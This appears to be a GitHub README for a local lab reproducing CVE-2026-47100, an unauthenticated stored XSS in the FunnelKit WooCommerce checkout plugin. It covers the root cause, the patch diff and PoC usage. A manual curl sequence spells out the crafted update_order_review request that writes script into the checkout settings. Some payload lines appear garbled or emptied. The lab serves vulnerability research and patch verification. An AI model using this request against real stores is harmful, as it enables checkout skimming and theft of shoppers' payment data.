rootdirective-sec/CVE-2026-47100-Analysis-Lab
GitHub: rootdirective-sec/CVE-2026-47100-Analysis-Lab
Stars: 0 | Forks: 0
# CVE-2026-47100 — FunnelKit / Funnel Builder for WooCommerce Checkout Stored XSS Lab
## 1. Overview
CVE-2026-47100 is a missing authorization vulnerability in **Funnel Builder / FunnelKit for WooCommerce Checkout** before version **3.15.0.3**.
The vulnerable checkout AJAX flow allows an unauthenticated visitor to invoke an internal plugin method and write data into FunnelKit's built-in global external script setting. Because that setting is later rendered on FunnelKit checkout pages, the issue can become **unauthenticated Stored XSS on checkout pages**.
This repository reproduces the issue locally using two Docker services:
| Service | Version | URL | Expected result |
| --------- | -------: | ----------------------- | ----------------------------------- |
| `vuln` | 3.15.0.2 | `http://127.0.0.1:8081` | vulnerable behavior confirmed |
| `patched` | 3.15.0.3 | `http://127.0.0.1:8082` | write blocked / marker not rendered |
## 2. Vulnx Discovery Screenshot

## 3. Impact
An unauthenticated attacker can abuse the public checkout AJAX flow to persist JavaScript into FunnelKit's global external script setting.
In a real WooCommerce store, this could allow malicious JavaScript to run in the browser of users visiting the checkout page. Public reporting has linked this vulnerability class to checkout skimming campaigns.
This lab intentionally uses only a harmless proof marker:
## 4. Root Cause
The vulnerable version accepts user-controlled checkout data from the public WooCommerce AJAX endpoint:
/?wc-ajax=update_order_review
Inside the FunnelKit checkout flow, the request can include:
wfacp_input_hidden_data={"action":"update_global_settings_fields", ...}
The vulnerable logic checks whether the supplied action name exists as a class method. If the method exists, it can be invoked from the public checkout flow.
Simplified vulnerable behavior:
if ( method_exists( __CLASS__, $action ) ) {
self::$output_resp = self::$action( $input_data );
}
The important attacker-controlled action is:
update_global_settings_fields
That method updates the WordPress option:
_wfacp_global_settings
and specifically the built-in FunnelKit key:
wfacp_global_external_script
The stored value is later read by the checkout template and rendered on the checkout page. This creates the Stored XSS condition.
Exploit chain:
Unauthenticated checkout visitor
→ public WooCommerce update_order_review AJAX
→ attacker-controlled wfacp_input_hidden_data[action]
→ update_global_settings_fields()
→ update_option('_wfacp_global_settings')
→ wfacp_global_external_script rendered on checkout page
→ Stored XSS
## 5. Patch Summary
Version **3.15.0.3** hardens the vulnerable path with two important changes.
### 5.1 Public action allow-list
The patched version restricts which checkout actions can be invoked from the public checkout flow.
Simplified patched behavior:
$allowed_actions = array(
'update_cart_item_quantity',
'update_cart_multiple_page',
'remove_cart_item',
'undo_cart_item',
'prep_fees',
);
if (
is_string( $action ) &&
in_array( $action, $allowed_actions, true ) &&
method_exists( __CLASS__, $action )
) {
self::$output_resp = self::$action( $input_data );
}
This prevents arbitrary internal methods such as `update_global_settings_fields` from being dispatched by unauthenticated checkout requests.
### 5.2 Capability check before settings update
The patched version also adds an authorization check before global settings can be updated:
if ( ! current_user_can( 'manage_woocommerce' ) ) {
return $resp;
}
This means the global external script setting should only be writable by users with WooCommerce management privileges.
## 6. Lab Architecture
host
├── http://127.0.0.1:8081 → WordPress + WooCommerce + FunnelKit 3.15.0.2
└── http://127.0.0.1:8082 → WordPress + WooCommerce + FunnelKit 3.15.0.3
The seed process creates:
Lab Product
- WooCommerce product used to create a valid cart/session
- expected product ID in clean lab: 10
Lab Funnel Checkout
- FunnelKit checkout page used to trigger the checkout AJAX flow
- expected checkout post ID in clean lab: 11
The lab uses a deterministic checkout URL:
/?post_type=wfacp_checkout&p=11
## 7. Running the Lab
Start the lab:
docker compose up -d --build
Check services:
docker compose ps
Expected services:
vuln http://127.0.0.1:8081
patched http://127.0.0.1:8082
Install Python dependencies:
python3 -m venv .venv
. .venv/bin/activate
pip install requests
## 8. PoC Scripts
### 8.1 Lab PoC
`poc/poc_lab.py` is the deterministic lab PoC.
It assumes the local Docker seed values:
product_id = 10
checkout_post_id = 11
Run against the vulnerable service:
python3 poc/poc_lab.py http://127.0.0.1:8081
Expected result:
[*] AJAX action: update_global_settings_fields
[*] AJAX status: True
[*] AJAX msg: Changes saved
[*] Marker rendered in HTML: True
=== Result ===
likely_vulnerable: True
[+] Vulnerable behavior confirmed.
Run against the patched service:
python3 poc/poc_lab.py http://127.0.0.1:8082
Expected result:
[*] AJAX action: update_global_settings_fields
[*] AJAX status: None
[*] AJAX msg: None
[*] Marker rendered in HTML: False
=== Result ===
likely_vulnerable: False
[-] Vulnerable behavior was not confirmed.
[-] On patched targets this is expected.
### 8.2 Generic Authorized Self-Test Tool
`poc/poc_check.py` is a more portable authorized self-test tool.
Passive check only:
python3 poc/poc_check.py \
--checkout-url "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11"
Active authorized check:
python3 poc/poc_check.py \
--checkout-url "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11" \
--product-id 10 \
--active \
--i-am-authorized
Marker-only mode without alert:
python3 poc/poc_check.py \
--checkout-url "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11" \
--product-id 10 \
--active \
--i-am-authorized \
--marker-only
Cleanup attempt:
python3 poc/poc_check.py \
--checkout-url "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11" \
--product-id 10 \
--active \
--i-am-authorized \
--cleanup
## 9. Manual Test
### 9.1 Vulnerable service
Create a fresh WooCommerce session and add the lab product to cart:
rm -f /tmp/cve47100-vuln.cookies
curl -s -c /tmp/cve47100-vuln.cookies -b /tmp/cve47100-vuln.cookies \
"http://127.0.0.1:8081/?add-to-cart=10" >/dev/null
Fetch the FunnelKit checkout page and extract the WooCommerce checkout nonce:
CHECKOUT_HTML=$(curl -s -c /tmp/cve47100-vuln.cookies -b /tmp/cve47100-vuln.cookies \
"http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11")
NONCE=$(printf '%s' "$CHECKOUT_HTML" \
| grep -oE '"update_order_review_nonce":"[^"]+"' \
| head -n1 \
| cut -d: -f2 \
| tr -d '"')
echo "NONCE=$NONCE"
Send the crafted checkout AJAX request:
curl -i "http://127.0.0.1:8081/?wc-ajax=update_order_review" \
-c /tmp/cve47100-vuln.cookies \
-b /tmp/cve47100-vuln.cookies \
-H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" \
--data-urlencode "security=${NONCE}" \
--data-urlencode "payment_method=cod" \
--data-urlencode "country=TH" \
--data-urlencode "state=" \
--data-urlencode "postcode=10110" \
--data-urlencode "city=Bangkok" \
--data-urlencode "address=Lab Street" \
--data-urlencode "address_2=" \
--data-urlencode "s_country=TH" \
--data-urlencode "s_state=" \
--data-urlencode "s_postcode=10110" \
--data-urlencode "s_city=Bangkok" \
--data-urlencode "s_address=Lab Street" \
--data-urlencode "s_address_2=" \
--data-urlencode 'post_data=wfacp_input_hidden_data={"action":"update_global_settings_fields","type":"post","data":{"wfacp_global_external_script":""}}'
Verify the option was written:
docker compose exec vuln wp --allow-root --path=/var/www/html option get _wfacp_global_settings --format=json
Expected result:
{
"wfacp_global_external_script": ""}}'
Verify the option remains unchanged:
docker compose exec patched wp --allow-root --path=/var/www/html option get _wfacp_global_settings --format=json
Expected result:
[]
Verify the marker is not rendered:
curl -s "http://127.0.0.1:8082/?post_type=wfacp_checkout&p=11" \
| grep -oE '.{0,100}CVE_2026_47100_LAB_PROOF.{0,160}'
Expected result: no output.
## 10. Evidence Summary
The vulnerable service confirms the issue when all of the following are true:
AJAX action: update_global_settings_fields
AJAX status: True
AJAX msg: Changes saved
Marker rendered in HTML: True
The patched service confirms the fix when:
AJAX action: update_global_settings_fields
AJAX status: None
AJAX msg: None
Marker rendered in HTML: False
_wfacp_global_settings remains []
## 11. Safety Notes
This repository is for local, authorized security research only.
Allowed scope:
localhost
127.0.0.1
Docker Compose lab network
systems you own or have explicit written permission to test
Not allowed:
payment skimming
cookie theft
token theft
credential harvesting
external exfiltration
unauthorized testing of third-party stores
The PoC uses a harmless alert and marker only.
## 12. References
* CVE Record: [https://www.cve.org/CVERecord?id=CVE-2026-47100](https://www.cve.org/CVERecord?id=CVE-2026-47100)
* NVD: [https://nvd.nist.gov/vuln/detail/CVE-2026-47100](https://nvd.nist.gov/vuln/detail/CVE-2026-47100)
* VulnCheck Advisory: [https://www.vulncheck.com/advisories/funnel-builder-for-woocommerce-checkout-missing-authorization-via-ajax](https://www.vulncheck.com/advisories/funnel-builder-for-woocommerce-checkout-missing-authorization-via-ajax)
* Sansec Research: [https://sansec.io/research/funnelkit-woocommerce-vulnerability-exploited](https://sansec.io/research/funnelkit-woocommerce-vulnerability-exploited)
* WordPress Trac changeset: [https://plugins.trac.wordpress.org/changeset/3530797/funnel-builder/tags/3.15.0.3/modules/checkouts/includes/class-wfacp-ajax-controller.php](https://plugins.trac.wordpress.org/changeset/3530797/funnel-builder/tags/3.15.0.3/modules/checkouts/includes/class-wfacp-ajax-controller.php)